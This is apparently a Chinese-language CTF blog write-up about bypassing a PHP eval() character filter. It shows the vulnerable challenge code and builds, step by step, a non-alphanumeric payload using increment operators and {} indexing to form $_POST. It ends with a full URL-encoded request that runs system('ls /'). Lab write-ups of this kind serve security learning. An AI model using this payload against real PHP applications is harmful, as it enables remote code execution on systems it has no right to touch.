记一次RCE

0x01 前言

今天随便搞了一个比赛,结果吧,我勒个刚,第一个RCE就绕不出来

0x02 action

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
highlight_file(__FILE__);

function count_string_char($str) {
    $arr = [];
    foreach (str_split($str) as $value) {
        if (!in_array($value, $arr)) {
            array_push($arr, $value);
        }
    }
    return sizeof($arr);
}

if (isset($_POST['cmd']) && is_string($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $c = count_string_char($cmd);
    if ($c > 13) {
        die("$c too long");
    }
    if ( preg_match('/[a-z0-9]|<|>|\\?|\\[|\\]|\\*|@|\\||\\^|~|&|\s/i', $cmd) ) {
        die("nonono");
    }
    eval( "print($cmd);" );
} else {
    exit();
}

首先观察这个function先,我就是理解错了,他的意思是将不重复的字符记在数组之中

1
2
例如:
phpinfo就是6个字符,dog就是三个字符

其次过滤了这些字符

  • 小写字母 (a-z)
  • 数字 (0-9)
  • <, >, ?, [, ], *, @, |, ^, ~, &, 和空白字符 (\s)

有大写字母,那么开始

第一重

以为可以环境变量配置,但是没有数字的话,又需要嵌入环境变量来获取数字,那么果断放弃

第二重

自增符号未被过滤,这里可以考虑自增,但是昂,我们这里是没有[]的,所以我们需要使用{}来构造payload,那么既然有eval,我们直接把print闭合了,然后执行命令

最终的执行就是

1
2
3
eval( "print(_);$_POST{_}($_POST{__});");
payload:
_);$_POST{_}($_POST{__});

首先我们要得到N

那么最先我们要有0和1来依靠除法数组一个元素得到N

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
$_=++$____;        //1
--$__;     //0
$____=((_/_).''){$__};     //N
$_____=++$____;     //O
++$____; //P
$______=$____;    //P
++$____; //Q
++$____; //R
++$____; //S
$_______=$____;     //S 
++$____; //T
$________=$____;   //T
$_________='_'.$______.$_____.$_______.$________;    //_POST
$$_________{_}($$_________{__})      //$_POST{_}($_POST{__})
?>

鉴于第一次用{}来弄,所以我还是写的挺慢的

最后还需要把+进行url编码

1
$_=++$____;--$__;$____=((_/_).''){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________='_'.$______.$_____.$_______.$________;$$_________{_}($$_________{__}
1
cmd=_);$_=%2b%2b$____;--$__;$____=((_/_).''){$__};$_____=%2b%2b$____;%2b%2b$____;$______=$____;%2b%2b$____;%2b%2b$____;%2b%2b$____;$_______=$____;%2b%2b$____;$________=$____;$_________='_'.$______.$_____.$_______.$________;$$_________{_}($$_________{__}&_=system&__=ls /

终于是getshell

0x03 小结

这次还是可以,收获了一个新姿势,虽然过程非常煎熬,比如不知道如何得到N,之前遇到的都是[],beautiful!!!

赞赏支持

Licensed under CC BY-NC-SA 4.0